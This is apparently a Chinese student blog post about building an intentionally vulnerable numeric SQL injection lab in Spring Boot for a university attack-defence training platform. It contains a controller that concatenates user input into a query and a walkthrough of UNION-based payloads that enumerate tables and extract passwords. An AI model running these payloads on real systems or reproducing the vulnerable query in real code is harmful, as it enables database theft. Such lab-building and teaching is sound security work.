目录

  • 前言:
  • 一、SQL 注入漏洞简介
    • 1、简介
    • 2、危害
    • 3、利用
    • 4、防范
  • 二、相关配置
  • 三、编写“SQL 注入漏洞-数字型注入”后端代码
    • 1、使用 springboot 框架创建项目
    • 2、编写 indexController
    • 3、编写 sqli - 数字型 select
  • 三、编写“SQL 注入漏洞-数字型注入”前端代码
  • 四、运行测试
  • 参考文章:

前言:

在项目实训的前面的几天时间里,我的主要工作是学习了 docker 的安装与使用,学会使用命令行控制 docker 容器的创建、删除等。然后学习了 springboot 框架的基本使用、了解其框架基本原理与运行机制。实现了使用 springboot 连接远程服务器上 docker 服务,实现容器的动态创建与删除。接下来的任务就是进行漏洞的代码编写,我主要是编写后端代码,前端由组内其他成员完成,所以在编写具体到某个漏洞的实现时,前端的代码我将简单的编写一下,实现相应功能即可,不需考虑布局与美观等。
首先编写较为常见,并且适合作为新手入门的 SQL 注入漏洞。

一、SQL 注入漏洞简介

想要复现搭建一个具有 SQL 注入漏洞的靶场环境,就不得不学习了解一下 SQL 注入漏洞的原理、危害、利用方式以及如何修复防御。

1、简介

恶意攻击者将数据包中输入的参数拼接成 SQL 语句传递给 Web 服务器,由于 Web 服务器的开发人员对数据的合法性没有判断或过滤不严,进而传递给数据库服务器,从而导致拼接的恶意 SQL 命令被执行,发起 SQL 注入攻击。
属于服务器对用户输入数据过滤不严格甚至没有进行任何检查过滤导致的漏洞产生。
根据服务器后端程序员编写的代码不同,SQL 注入可分为一下几种类型:

2、危害

SQL 注入漏洞主要与数据库打交道,所以造成的危害大部分是数据库相关,但是在一定条件下也可能会造成其它更为严重的危害。简单来说,可能造成的危害有以下几点:

  1. 拖库:比较常见的危害,恶意攻击者可以拿走已入侵的系统中数据库里面的敏感数据,造成信息泄露。
  2. 提权拿 shell:获得数据库内容后,进一步通过远程代码执行,操纵对方操作系统,持续监听、控制。
  3. 网站挂马、网页篡改、广告位传播:通过向已经入侵的数据库系统写入相关文件,实现网站挂马等恶意行为。

3、利用

根据 SQL 注入漏洞的产生原理,利用 SQL 注入漏洞实现信息的窃取、数据库系统的入侵、进一步提权哪 shell 等操作,需要针对特定的 SQL 注入类型来合理的构造 payload。
一般来说,发现到利用一个 SQL 注入漏洞可以分为一下几步:

  1. 查找可能的注入点(输入框?url 中 xx=?等等)
  2. 测试 SQL 注入类型(数字型?字符型?单引号还是双引号?有无括号?)
  3. 判断是否有过滤机制
  4. 考虑如何绕过
  5. 爆库名
  6. 爆表名
  7. 爆字段
  8. 拖库

4、防范

  1. 代码层面

1、 转义用户输入的内容(例如使用 PHP 中函数:mysql_real_escape() 函数等);
2、限制用户在前端输入的内容长度(需要在后端进行限制)
3、使用SQL语句预处理(对SQL语句首先进行预编译,参数绑定,最后传参)

  1. 网络层面

1、部署防火墙
2、部署相关安全软件(例如:安全狗、火绒等)

  1. 其它层面

1、定期网站安全渗透测试
2、定期扫描
3、数据库加密

二、相关配置

因为 SQL 注入漏洞复现不能缺少数据库的相关操作,所以需要对项目进行数据库相关配置,编写文件 application.properties

spring.datasource.url = jdbc:mysql://127.0.0.1:3306/pikachu?useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT%2B8
spring.datasource.username = root
spring.datasource.password = root
spring.datasource.driverClassName = com.mysql.jdbc.Driverspring.thymeleaf.prefix = classpath:/templates/

编写 pom.xml,导入相关依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.4</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>sqli</artifactId><version>0.0.1-SNAPSHOT</version><name>sqli</name><description>sqli</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build></project>

三、编写“SQL 注入漏洞-数字型注入”后端代码

1、使用 springboot 框架创建项目

这一部分与前面的创建项目过程相同,使用 springboot 框架,java 8

选择 spring web

一个新的项目创建完毕。

2、编写 indexController

indexController 用于接受浏览器请求,根据请求地址进一步匹配到正确的网站页面。
两个请求,一个是请求主界面,匹配到 index.html;另一个是请求 SQL 注入的数字型注入靶场环境,匹配到 sqli_num.html 。
代码:

package com.example.sqli.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;@Controller
public class indexController {@RequestMapping(value={"/","/index.html"})public String index(){return "index";}//spring.thymeleaf.prefix.classpath = /templates/@RequestMapping(value={"sqli_num"})public String sqli_num_index(){return "sqli_num";}
}

3、编写 sqli - 数字型 select

这部分代码是实现 SQL 注入的核心代码,通过复现一个带有 SQL 注入漏洞的环境,达到可以利用其进行练习的目的。
主要思路就是一个 select 查询语句,但是不要做任何预编译以及预处理等操作,直接将从前端接收到的用户输入的数据拼接到 SQL 语句中,实现 SQL 注入漏洞。

package com.example.sqli.controller;import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;@Controller
@RequestMapping("/sqli/")//接口注解
public class sqli {@AutowiredDataSource dataSource;public String sql;//数字型SQL注入漏洞(测试payload:-1 or 1=1 --)@RequestMapping("num")public String sqli_num(@RequestParam(value = "id",required = false) String id, Model model) throws SQLException {System.out.println(dataSource.getClass());Connection connection = dataSource.getConnection();System.out.println(connection);Statement stmt = connection.createStatement();sql="select * from users where id = "+id;//组装sql//stringBuilder.append("select userid, username, state from mchat.user_info");//List<Map> list = new ArrayList<>();ResultSet rs = stmt.executeQuery(sql);// 通过此对象可以得到表的结构,包括,列名,列的个数,列数据类型while (rs.next()) {//转化为List<Map>格式//Map<String, Object> map = new HashMap<>();
//              for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {//                  String colName = rs.getMetaData().getColumnName(i);
//                  Object value = rs.getObject(colName);//获取列对应的值。
//                  //map.put(colName, value);
//                  System.out.println(value);
//                  model.addAttribute("id",value);
//              }Object value = rs.getObject("username");//获取列对应的值。System.out.println(value);model.addAttribute("id",value);//list.add(map);}rs.close();//return list;connection.close();System.out.println("model:"+model);return "sqli_num";}
}

三、编写“SQL 注入漏洞-数字型注入”前端代码

index.html :主界面、索引界面

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>SQL注入</title>
</head>
<body>
<input type="button" value="数字型有回显注入"onclick="javascrtpt:window.location.href='http://localhost:8080/sqli_num'" /></body>
</html>

sqli_num.html :数字型有回显注入前端简易界面

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>数字型有回显注入</title><script src="../static/js/jquery-1.4.4.min.js"></script>
</head>
<body><form action="http://localhost:8080/sqli/num" method="get">请输入学号ID: <input type="text" name="id" /><input type="submit" value="查找" />
</form>
<p id="demo">我的第一个段落</p><script th:inline="javascript" >const v = [[${id}]];sessionStorage.setItem("id",v);const loginName = sessionStorage.getItem("id");<span id="test" className="x-red"></span>test.innerHTML=loginName;
</script></body>
</html>

四、运行测试

  1. 启动项目

  2. 访问 localhost:8080/

  3. 测试数字型注入

    payload:1
    回显:

    payload:-1 or 1=1 --
    回显:

    payload :-1 or 1=1 order by 2 --
    回显:

    payload :-1 or 1=1 order by 1 --
    回显:

    证明仅查询一个字段内容

payload :-1 UNION SELECT DATABASE()--
回显:

得到数据库名为 pikachu

payload :-1 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='pikachu' --
回显:

得到库内所有表名

payload :-1 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='pikachu'--
回显:

得到表内所有字段名

payload :-1 UNION SELECT password FROM users--
回显:

得到数据库内所有用户账号密码

参考文章:

https://blog.csdn.net/Aaron_Miller/article/details/105733688
https://zhuanlan.zhihu.com/p/418299128
https://www.renrendoc.com/paper/138788911.html
https://www.jianshu.com/p/89e6676b8e37
http://www.bubuko.com/infodetail-3578145.html
https://www.pianshen.com/article/9491310812/

山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(六)-SQL注入数字型相关推荐

  1. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(二)-docker安装与学习

    目录 前言: 一.docker安装 1.centos7使用yum安装 二.命令行创建 docker 容器测试 前言: 项目实训立项通过后的几天均在学习 docker 的相关知识,上一篇文章也简单记述了 ...

  2. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(八)-RCE漏洞

    目录 前言: 1.RCE 漏洞简介 1.1.简介 1.2.危害 1.3.利用 1.3.1.漏洞挖掘 1.3.2.windows下管道符 1.3.3.linux下管道符 1.4.防范 2.相关配置 3. ...

  3. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(七)-SQL注入字符型

    目录 前言: 一.简介 二.项目配置 三.代码编写 四.运行测试 前言: 前面完成了 SQL 注入漏洞的数字型输入,其实 SQL 注入漏洞还有很多其他类型的注入,例如:字符型注入.宽字节注入等,相应的 ...

  4. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十)-Java反序列化漏洞(2)

    目录 前言: 2.项目配置 3.编写"java 反序列化漏洞"后端代码 4.编写"java 反序列化漏洞"前端代码 5.运行测试 前言: 本篇文章在上一篇文章基 ...

  5. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十三)-任意文件下载漏洞(1)

    目录 前言: 一.任意文件下载 1.任意文件下载漏洞简介 1.1.简介 1.2.危害 1.3.利用 1.4.防范 2.项目配置 前言: 前面的博客记录了关于文件上传漏洞的基础知识,以及基本的漏洞出现点 ...

  6. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十四)-任意文件下载漏洞(2)

    目录 前言: 3.编写"任意文件下载漏洞"后台 4.编写"任意文件下载漏洞"前台 5.运行测试 前言: 前面的博客记录学习任意文件下载漏洞相关知识,并思考如何构 ...

  7. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(三)

    目录 前言 主页面的实现 新增用户 修改用户信息 删除用户 查询用户 前言 首先我要完成的是系统中的用户管理功能,实现对用户的增删改查,以及利用Element-Ui完成对应前端页面的搭建,这篇文章记录 ...

  8. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(二十二)-子域名查询

    目录 2.1.工具简介 2.2.后端实现代码 2.3.前端实现代码 2.1.工具简介 子域名是相对域名根来说的,如baidu.com是域名根,则1234.baidu.com为子域名不同服务级别,也就是 ...

  9. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(二十三)-CMS识别

    目录 3.1.工具简介 3.2.后端实现代码 3.3.前端实现代码 3.1.工具简介 在对「靶标资产」进行渗透测试的前期,通常需要对「靶标资产」进行相关的信息收集,而对「靶标资产」进行Web指纹信息扫 ...

最新文章

  1. 用 GStreamer 简化 Linux 多媒体开发
  2. java日志切割工具_用 Java 实现的日志切割清理工具
  3. 在线人员统计系统php,PHP统计当前在线人数 - 案例源码
  4. Maven pom.xml配置详解(三)
  5. 游张孝祥老师博客(blog)有感
  6. hdu 4012(bfs+位压缩)
  7. python中的reduce函数用法
  8. 在ubuntu上启动一个vue项目
  9. python将十进制转为二进制_如何用Python将十进制数字转为二进制,以及将二进制转为十六进制?...
  10. AutoIt自动化编程(4)【转】
  11. 基于Java和Python实现简单的CA认证系统
  12. 3ds max批量修改贴图名称脚本(最新版本)
  13. 会员管理系统html,会员管理系统网页版
  14. 项目jar包启动的命令
  15. 再来学习一下“八荣八耻”
  16. 手机电池容量的一些基础知识
  17. 2021/8/12 网络机顶盒
  18. APP分类及与web区别
  19. 按位取反~用法及原理
  20. 基于SSM美食食谱管理系统Java家庭食谱安排系统的设计与实现(源码调试+讲解+文档)

热门文章

  1. logback输出json格式日志并带traceId
  2. html仿腾讯公益页面代码 简书,腾讯公益H5:刷屏传播,我们愿用善意陪同表达...
  3. [推荐]300种生活小窍门
  4. linux 命令---持续更新
  5. 玩着3dmax把Python学了-01
  6. gd库处理图片(将正方形转换圆形) (调整 头像大小)(文字图片合并)(创建画布)
  7. Latex表格紧跟文字下方(不影响下方文本对齐)(含实例讲解)
  8. 【LeetCode】陌陌面试-有序数组于其一个元素翻转后,判断一个数是否存在数组中,时间复杂度O(logn)
  9. LITS数据集 总切片和单张Nii切片数目统计
  10. php error unexpected,php环境变化引起的syntax error unexpected $end